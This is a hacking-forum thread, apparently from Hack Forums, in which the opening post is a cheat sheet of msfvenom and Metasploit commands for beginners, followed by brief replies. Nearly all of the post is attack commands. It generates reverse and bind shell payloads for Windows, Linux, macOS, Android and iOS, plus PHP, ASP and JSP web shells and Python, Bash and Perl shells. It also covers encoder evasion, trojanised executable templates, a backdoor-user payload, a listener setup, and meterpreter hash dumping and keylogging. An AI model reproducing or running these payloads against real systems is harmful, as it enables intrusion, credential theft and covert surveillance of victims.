

Forum:[Hack Forums](#)

Thread: [msfvenom commands and payloads for newcomers](#)

Clumsy - June 9, 2024, 4:19 pm

Dear new kid on the block wanting to feed your self with swats and dox that ain't hackin this is following this comprehensive guide, newcomers can effectively utilize msfvenom and the Metasploit Framework to create and handle various payloads and exploits across different platforms.

Code Creating a Payload

```
msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]
```

List of Payloads

```
msfvenom -l payloads
```

Payload Options

```
msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options
```

Creating a Payload with Encoding

```
msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] > outputfile
```

Creating a Payload Using a Template

```
msfvenom -p [payload] -x [template] -f [formattype] > outputfile
```

Listener for msfvenom Payloads

```
msf5> use exploit/multi/handler
msf5> set payload windows/meterpreter/reverse_tcp
msf5> set lhost [listeninghost]
msf5> set lport [listeningport]
msf5> set ExitOnSession false
msf5> exploit -j
```

Windows Payloads

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
```

Linux Payloads

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```

macOS Payloads

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho
```

```
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho
msfvenom -p osx/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho
```

Android Payloads

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > shell.apk
```

iOS Payloads

```
msfvenom -p apple_ios/aarch64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f macho >
shell.macho
```

Web Payloads

PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
```

ASP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp
```

JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp
```

WAR

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > shell.war
```

Scripting Payloads

Python

```
msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py
```

Bash

```
msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh
```

Perl

```
msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl
```

Additional Windows Commands

Add a User in Windows

```
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe
```

Windows PowerShell Payload

```
msfvenom -p windows/powershell_reverse_tcp LHOST=IP LPORT=PORT -f ps1 > shell.ps1
```

Advanced Techniques

Creating an msfvenom Payload with an Encoder While Removing Bad Characters

```
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e
x86/shikata_ga_nai -b "\x0A\x0D"
```

Using Custom Templates

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -x custom.exe -f exe -o
payload.exe
```

Using Exploits and Post Modules with Meterpreter

Migrating to Another Process

```
meterpreter > ps  
meterpreter > migrate [PID]
```

Dumping Password Hashes

```
meterpreter > hashdump
```

Capturing Keystrokes

```
meterpreter > keyscan_start  
meterpreter > keyscan_dump  
meterpreter > keyscan_stop
```

Useful Commands for Metasploit Framework

Searching for Exploits

```
msf5> search name:[exploit_name]
```

Using an Exploit

```
msf5> use [exploit_path]
```

Setting Options for Exploit

```
msf5> show options  
msf5> set [option] [value]
```

Running the Exploit

```
msf5> exploit
```

Tyr - June 11, 2024, 12:52 pm

Very nice. Different platforms? I've only ever used it with Kali. How does it perform on other OS's?

Clumsy - June 11, 2024, 10:56 pm

(Jun 11, 2024 12:52 PM)Osiris? Wrote: [\[CITE\]](#) Very nice. Different platforms? I've only ever used it with Kali. How does it perform on other OS's?

It's actually quite nice on debian

I cry blood - June 14, 2024, 2:12 pm

(Jun 9, 2024 04:19 PM)Clumsy Wrote: [\[CITE\]](#) Dear new kid on the block wanting to feed your self with swats and dox that ain't hackin this is following this comprehensive guide, newcomers can effectively utilize msfvenom and the Metasploit Framework to create and handle various payloads and exploits across different platforms.

You may also want to add the [MSFVenom Payload Cheatsheet](#). I've been using this for years. Works wonders!

DramaKing - June 15, 2024, 11:07 am

(Jun 11, 2024 12:52 PM)Osiris? Wrote: [\[CITE\]](#) Very nice. Different platforms? I've only ever used it with Kali. How does it perform on other OS's?

Works the same on Mac, just different installation. Clumsy may have meant exploiting different platforms, however.

(Jun 14, 2024 02:12 PM)I cry blood Wrote: [\[CITE\]](#) You may also want to add the [MSFVenom](#)

[Payload Cheatsheet](#). I've been using this for years. Works wonders!
infosecmatter.com is also good to quickly look up info on modules.

Brill - *June 17, 2024, 2:15 am*

just combined these now I have access to pentagon netbot mainframe thanks